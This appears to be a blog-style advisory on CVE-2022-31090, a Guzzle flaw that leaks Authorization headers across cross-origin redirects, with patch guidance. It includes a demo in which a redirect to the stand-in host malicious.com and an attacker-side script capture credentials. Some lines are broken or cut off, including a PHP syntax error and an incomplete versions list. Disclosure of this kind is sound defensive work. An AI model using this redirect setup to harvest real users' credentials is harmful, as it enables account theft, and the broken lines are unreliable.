If you use Guzzle, the popular PHP HTTP client, for making web requests, there's an important security vulnerability you need to know about—CVE-2022-31090. This vulnerability could cause your sensitive Authorization headers to be sent to the wrong places during HTTP redirects. In this article, we'll break down what the problem is, see code examples, learn how it can be exploited, and what you must do to secure your application.

What is Guzzle?

Before diving into the vulnerability, let’s quickly explain Guzzle:
Guzzle is a PHP library that helps you send HTTP requests easily. It’s very extensible, supporting different handler stacks including cURL (the most common) and PHP’s stream.

Many modern PHP applications use Guzzle for REST API calls. Like other HTTP tools, Guzzle lets you include sensitive headers, like Authorization, so you can access protected resources.

The Problem: Authorization Headers Sent on Cross-Origin Redirects

HTTP redirects are very common. For example, when a website tells your browser (or code) to try a different URL. Sometimes this redirect points to a different host (domain), scheme (http→https or vice versa), or port.

Sensitive info leak:
If your original request included an Authorization header (like basic auth, or a bearer token), Guzzle could mistakenly send that header to the redirected destination—even if that destination is a new domain, protocol, or port! That means credentials meant for your API could leak to a malicious third-party.

Where it Happens: cURL Handler

This bug happens only with Guzzle’s *cURL handler*. If you use the stream handler, you aren’t affected.

Technical Details

- The curl handler uses the CURLOPT_HTTPAUTH option to manage “authorization” headers during authentication.
- Guzzle would follow redirects automatically, but failed to properly strip auth headers when the host, scheme, or port changed.

Vulnerable Guzzle request

use GuzzleHttp\Client;

$client = new Client([
    'handler' => GuzzleHttp\HandlerStack::create() // uses cURL by default
]);

// Request to trusted.com, but server returns a redirect to malicious.com
$response = $client->request('GET', 'https://trusted.com/secure';, [
    'auth' => ['username', 'password'], // Sets Authorization header
    'allow_redirects' => true   // Default: redirects are followed
]);

If https://trusted.com/secure responds with Location: https://malicious.com/steal, Guzzle will follow the redirect and, BEFORE patching, will send your Authorization header to malicious.com!

Guzzle 6: Any version before 6.5.8.

A partial fix (host change only) was in 7.4.2, but it didn’t fix scheme or port!

Real-World Scenario

Let’s say you use Guzzle to talk to a private API, and that API is compromised. An attacker can craft a redirect response to their own attack server. Your Guzzle client will:

Redirecting server (trusted.com)

header('Location: https://malicious.com/steal');
http_response_code(302);

Attacker controlled (malicious.com)

file_put_contents('headers.log', print_r(getallheaders(), true), FILE_APPEND);

You’ll see the Authorization header leak in headers.log.

1. Upgrade Guzzle Right Now

- Guzzle 7 users: Upgrade to 7.4.5
- Guzzle 6 users: Upgrade to 6.5.8

`

- Review all code that makes requests with Authorization headers, especially to external or semi-trusted endpoints.

References and Further Reading

- Official Advisory: GHSA-v759-jq9f-7p9j / CVE-2022-31090
- Guzzle 7.4.5 Release Notes
- NIST NVD: CVE-2022-31090
- PHP cURL Manual: CURLOPT_HTTPAUTH

Conclusion

CVE-2022-31090 is a serious but easily patched vulnerability if you update promptly. If you use Guzzle in any PHP application that handles secrets, upgrade now and audit your HTTP request code to disable redirects wherever possible.

Do not wait for a breach—keep your secrets safe!


*For more PHP security tips, be sure to follow best practices and stay up to date with your dependencies!*

Timeline

Published on: 06/27/2022 22:15:00 UTC
Last modified on: 07/11/2022 13:31:00 UTC